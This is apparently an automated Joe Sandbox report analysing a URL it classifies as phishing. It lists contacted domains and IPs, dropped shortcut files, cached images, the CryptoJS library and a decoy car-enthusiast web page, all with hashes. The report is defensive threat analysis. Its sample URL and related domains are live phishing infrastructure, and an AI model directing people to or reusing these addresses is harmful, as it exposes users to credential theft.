https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/773062457:1730299201:q1CDYIcjkB4UHLDTbMFORExlajSIF5RmcYT0suwBdz4/8dac6ae8de8646e3/eCQJuNBQ1CsTPjMHTuAkyOPj_FsVr0P4JLXHMcicTVE-1730301922-1.1.1.1-P6MbYl8YnFjv_TCPPhVAr9XWilrHVd3B3u.6MqKnNj05LNU.8fo8Z9_fYw9yTNsj	false		unknown
https://baytul-hijabo.ru/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js	false		unknown
https://a.nel.cloudflare.com/report/v4?s=YFF9K0pSThgn1k3xDR9bk2Bo1W02aZC%2FVD0u0PZzwqpxidOlTDI00%2FVHiqEZIfWFvW2BSMaI%2FIx6tbaSUiURgK9RqNfPKH%2BIAlWuht0lHe3HFa59OCHCwcW%2FoX19L0H7nNlp	false		unknown
https://baytul-hijabo.ru/favicon.ico	false		unknown
https://a.nel.cloudflare.com/report/v4?s=ZKlDjR7eYb5YbCTRe%2FBwGO%2BawAzhOCUCnHLSRE5AjQ3BjOvcY3dWxYNaxD9B9M4G1r1j5wMCiahEf%2FjDwu6H0BtyKRn8EiYRLieUeQZYnv3W49s0eiGB2r6Mnm8gAz9c3Jo9	false		unknown
https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8dac6ae8de8646e3/1730301924772/fe537286ceb89a55716c661ecf427a781292ce81a9c38ba6b73be269c1150e02/1ybUAN2X_rtC87V	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/webfonts/fa-brands-400.woff2	false		unknown
https://baytul-hijabo.ru//	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/webfonts/fa-solid-900.woff2	false		unknown
https://baytul-hijabo.ru//#inventory	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css	false	URL Reputation: safe	unknown
https://zastromts.za.com/favicon.ico	false		unknown
https://zastromts.za.com/v3oX/	false		unknown
https://challenges.cloudflare.com/turnstile/v0/g/f2bbd6738e15/api.js	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://cdn.jsdelivr.net/npm/bootstrap	chromecache_92.1.dr, chromecache_102.1.dr	false		unknown
https://x.com/baytul-hijabo.ru	chromecache_92.1.dr, chromecache_102.1.dr	false		unknown
https://github.com/twbs/bootstrap/blob/main/LICENSE)	chromecache_90.1.dr, chromecache_96.1.dr	false		unknown
https://getbootstrap.com/)	chromecache_90.1.dr, chromecache_96.1.dr	false	URL Reputation: safe	unknown
https://baytul-hijabo.ru//#contact	chromecache_92.1.dr, chromecache_102.1.dr	false		unknown
https://fontawesome.com/license/free	chromecache_87.1.dr, chromecache_110.1.dr	false	URL Reputation: safe	unknown
https://fontawesome.com	chromecache_87.1.dr, chromecache_110.1.dr	false	URL Reputation: safe	unknown
https://instagram.com/baytul-hijabo.ru	chromecache_92.1.dr, chromecache_102.1.dr	false		unknown
https://linkedin.com/in/baytul-hijabo.ru	chromecache_92.1.dr, chromecache_102.1.dr	false		unknown
https://baytul-hijabo.ru//#services	chromecache_92.1.dr, chromecache_102.1.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.184.196	www.google.com	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.67.148.193	baytul-hijabo.ru	United States	13335	CLOUDFLARENETUS	false
151.101.193.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
151.101.129.229	unknown	United States	54113	FASTLYUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	zastromts.za.com	European Union	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.21.11.102	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16
192.168.2.6

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545512
Start date and time:	2024-10-30 16:24:50 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://zastromts.za.com/v3oX/#E
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal56.phis.win@20/71@32/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.163, 142.250.185.110, 74.125.133.84, 34.104.35.123, 2.16.100.168, 2.23.209.148, 2.23.209.149, 2.23.209.150, 2.23.209.144, 2.23.209.160, 2.23.209.156, 2.23.209.154, 2.23.209.158, 2.23.209.161, 2.23.209.176, 2.23.209.173, 2.23.209.175, 2.23.209.177, 2.23.209.162, 2.23.209.140, 2.23.209.135, 2.23.209.141, 2.23.209.143, 2.23.209.142, 142.250.185.170, 142.250.185.202, 142.250.185.234, 142.250.184.202, 142.250.186.42, 216.58.206.42, 142.250.185.106, 142.250.186.138, 142.250.185.138, 142.250.186.106, 142.250.185.74, 142.250.181.234, 172.217.18.10, 142.250.74.202, 142.250.186.74, 172.217.16.138, 142.250.186.99, 88.221.110.211, 88.221.110.243, 142.250.185.174
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, th.bing.com.edgekey.net, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, p-th.bing.com.trafficmanager.net, aefd.nelreports.net.akamaized.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, c-ring.msedge.net, edgedl.me.gvt1.com, th.bing.com, a1851.dscg2.akamai.net, update.googleapis.com, clients.l.google.com, t-ring-fallbacks1.msedge.net
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://zastromts.za.com/v3oX/#E

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 14:25:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.987899733243891
Encrypted:	false
SSDEEP:	48:86dtOTNK6R7HgUidAKZdA1FehwiZUklqehNy+3:8wORTRTKy
MD5:	9E6BB8A2D1512FBDB123B0F87C64473A
SHA1:	DB8A0447EEA12FBB1A0FC70C4FC67DC4B5472DF8
SHA-256:	CC641EF4668ABD9B6DA25E1D6D63EDA890EC3FA0384F65101250011FC9DEC2A1
SHA-512:	D7D18C39F38800B77EA5F99C1C4D05ABB4B6CC61F5F515D87DA1BFC5CB9F2FE6995024204CB2AF494E747D8BE90C72CEB2FE1ABB4BB56CB741D7B956A0FED2F4
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....`\.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I^Y!{....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V^Y){....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V^Y){....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V^Y){..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V^Y{...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Or.N.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 14:25:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.007222332134932
Encrypted:	false
SSDEEP:	48:8NdtOTNK6R7HgUidAKZdA1seh/iZUkAQkqeh6y+2:8tORTR99Q/y
MD5:	226C55F16E685F28A3C1CE21BBA7BADE
SHA1:	F9C30117F13067336DEAAE11D497E44BB35A73B2
SHA-256:	DE294BD0F6DF20991B54C29602DCB0CF920F985BF94D22C2C02991DC33F00C97
SHA-512:	2DF0A0CD44DCCDD5174E8966AFBD5FF36122AF3689982319177C575FB99E4B3EE9FA6097AC2AC9FF90A5744052FC9DEB37C7C90460592BEADD8F7B55C1BD81A0
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....y.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I^Y!{....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V^Y){....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V^Y){....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V^Y){..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V^Y{...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Or.N.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.012764488403363
Encrypted:	false
SSDEEP:	48:8BdtOTNK6RAHgUidAKZdA14meh7sFiZUkmgqeh7s8y+BX:8hORTRYn2y
MD5:	656835B931A67C9CB9C37F7F9174D75C
SHA1:	E071A0CAD0A7484FCD5B0D83A839AF5B9E9CC535
SHA-256:	5744CD6D8E34482E97EA559D738F91E535488E613ECF8AB9B5EA985E1EFAF653
SHA-512:	FC75DF3298D655640F1AF203A92AF00D709717282004F53C107D2898C5D96A399225E79B3F8D0F4B539EBD7F1100519BF5F8D5D8D98E05BCA3C7CE67BEFA6E2F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I^Y!{....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V^Y){....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V^Y){....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V^Y){..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Or.N.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 14:25:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.004388783444273
Encrypted:	false
SSDEEP:	48:8MdtOTNK6R7HgUidAKZdA1TehDiZUkwqehOy+R:8GORTRO0y
MD5:	1EC9B81B98A2FB25C85285F47EDFE398
SHA1:	8388F9A6E96D8E8DC4737C284301D8A994A4D075
SHA-256:	57D54F2AFBBB2EA0D133AE0B00CB0A7012B9F8C898C414D6A31ADADBC132BEB3
SHA-512:	D10E91D800E11D3B9D485BB0A79DCA1772FCB3E925F3935A429747ED6A544F47799C20F3A34B0720AB9310355387505A4CF92830A115E3BC3C4633602813D65C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....5......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I^Y!{....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V^Y){....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V^Y){....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V^Y){..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V^Y{...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Or.N.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 14:25:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9938092475124165
Encrypted:	false
SSDEEP:	48:80dtOTNK6R7HgUidAKZdA1dehBiZUk1W1qehYy+C:8uORTRe94y
MD5:	76404276043727745D0052FEA78E5F81
SHA1:	E084E875036535C6870EBFE36CDF00C7AB114C06
SHA-256:	45D6AC485462A1834C3AB3645ECEC60823C4096217E7C074E31D33D0CD3F0F1B
SHA-512:	88241081482FAECEFD1F22B2F92DCC471E06D22C57001AF514F28705A2FFF50F0EA91044857DD0BB83886840874742DDD38352150C85C3CF796684293C21E83A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....T......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I^Y!{....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V^Y){....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V^Y){....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V^Y){..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V^Y{...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Or.N.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 14:25:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.002378272492431
Encrypted:	false
SSDEEP:	48:8JdtOTNK6R7HgUidAKZdA1duTeehOuTbbiZUk5OjqehOuTb2y+yT+:8JORTRUTfTbxWOvTb2y7T
MD5:	2D71BA49005A4D2365F3369718D70B65
SHA1:	6710CF832EC5CAF1EB668C87FC447740DA31B11E
SHA-256:	05E329FC0B0C02D9EC8DB1A316C564D4DAB1C94AEFB5277DA5D50907C2371F83
SHA-512:	FF27864E5E95C31C8FEFCDCB83FC03A6AC8C697E31C4889ECC85BD575BE40A045FBFD173C3A0C7F1076718DFE6D3FAC40C6A7C1BB2B8BB23D50A436D95090D9F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....M.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I^Y!{....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V^Y){....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V^Y){....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V^Y){..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V^Y{...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Or.N.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=1], baseline, precision 8, 474x266, components 3
Category:	downloaded
Size (bytes):	20304
Entropy (8bit):	7.944808140245013
Encrypted:	false
SSDEEP:	384:Z7CIULnr7b7qQ+jyNSd2WSv3gYP7dumH22DSY0VnE2myDE1UkSCuYEVQJ8bge:JCRfqQ4yixI7rH2wplZjuoJ80e
MD5:	E6D273E97E5E3A3D0AA024A29803D7C3
SHA1:	0AF28CBF6CFA4463BC9EA0E1C36EFF12D5A41C35
SHA-256:	1AC06923AD6A8AB77B8E73B6AC2F930F1553CBF540183F0DB204251264B0B532
SHA-512:	0E471BB1104C2D263D5B587352101B68F7E17F19BAF512050620BEBDDBC542CEEC24793FB922D38776C6E635A3CE9328192A6BBAB9AD20A2B9BDCC120EF72FBB
Malicious:	false
Reputation:	low
URL:	https://th.bing.com/th/id/OIP.GRKPm5fP0L3_B2YKNU7U_wHaEK
Preview:	......JFIF.............BExif..MM........i................@........v..@....................C.......................................%..%....)).%756.2>-)0.;!....C...........,...,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..94d.z.+.<{ .&.(..d.E...&.&...d.M.4RP+!rh......d.E.`..4Q@X\.2h....&..(..`.&.....&..)(.X\.2h...d.E...&..(.,.4d.E...&..(.v..2h...d.E%....FM%-.`.....`.&.(.X2h.....FM......d..S.X9..(.0...&.J.@.&.(..&..(...4.e:......ZJ.Z(....RQE.Z))i...(..`..(.X(..W..-%.\,-..Qp..RQE.ah.......J....JZ...)(.qXZ)(.,-.QE..

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	dropped
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
Reputation:	low
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7543
Entropy (8bit):	4.743871896429429
Encrypted:	false
SSDEEP:	96:DpK7EF0ojyAr4CVrFZwgY9uhaznjQQcyLJtjjaJY:VK7EF0U4C1bxmuhazxZJpaJY
MD5:	179BA91A87328E137204BA18699F21BA
SHA1:	3D98BDE4A805F5E75B91348FDF056CAD48FB1630
SHA-256:	3DDD6710B9BA759D9E159C1272BAF8807A99A9C96FB6E8B470EFC005D6B2F608
SHA-512:	DF752FEFE5331CE6953A8536DC9DDA512CAB04113B74905656C5CD7DEAF18A2EAAD30061AD6E1A4F4DE6058A11FC863FB95E6FF9DAABE2AFAB44A276628B3F3A
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <meta name="robots" content="noarchive, nosnippet, noindex, nofollow">.. <title>Golden Age Car Enthusiasts - baytul-hijabo.ru</title>.. <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">.. <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css" rel="stylesheet">..</head>..<body>....<nav class="navbar navbar-expand-lg navbar-dark bg-dark sticky-top">.. <div class="container">.. <a class="navbar-brand fw-bold" href="https://baytul-hijabo.ru//">.. <i class="fas fa-car"></i> Golden Age Car Enthusiasts - AutoShowroom.. </a>.. <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">.. <sp

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=1], baseline, precision 8, 474x266, components 3
Category:	downloaded
Size (bytes):	33072
Entropy (8bit):	7.960465116587957
Encrypted:	false
SSDEEP:	768:nAXv2etw1DGE92O3TXjSz67N577185u+SEbRzpYvw:nEuESDh7jW6T7p8NXb5pYvw
MD5:	C3785603B62C873FB67EAC5028DF318A
SHA1:	53944B86E28EBA854FF4E005E32B8D3A424F1394
SHA-256:	A50C817EBBC959C3C9604E85113AA672F5638182A60F35FD48B848E8278F994B
SHA-512:	E7D92200A95B73DCFB9B550610833590043C022E04DAF5C4F6775415E722156D072A55DDD00B7BF71B08426917FBE66CEE0353495D807731C0CAD44516CA046C
Malicious:	false
Reputation:	low
URL:	https://th.bing.com/th/id/OIP.t2EERRRjFLFJ6TIYlenQLAHaEK
Preview:	......JFIF.............BExif..MM........i................@........p..@....................C.......................................%..%....)).%756.2>-)0.;!....C...........,...,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..m..?Z\|..H....w....?.2zP@S....3He..<7.G...F.b....'..T_.......M.l-aG..n.&[..a...P.......5...g...pv.......h.F.3.....,....1....1>.{v....h._.p..B....8..V........^......q..s!.c..c.A.E..c...Yqj6......+.5m5...C..\|...65.v..9.g....r.......*.e...4V...H....N1...2y....v......I..v..un>L.w...r~.I.`....

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 69 x 92, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPlmCohkxl/k4E08up:6v/lhPQk7Tp
MD5:	7A4521B22637E008C01E5BEB49558E87
SHA1:	2D0D2FB12CD305CE24C5C7B27BC1BEE94163A090
SHA-256:	5F4A0BA203B2195894FBAAEAFCA27CFB1AF06FD58682BF9845F9A69C16165FAF
SHA-512:	8D35BED99F1011698AB8486CAC366A283C0F525AFBDE2F6504D389F02869208B15082ADA5DAB89EF7F2B53AC67C2B0E8ECF0B76547E4084AA2A986756DA5BCDB
Malicious:	false
Reputation:	low
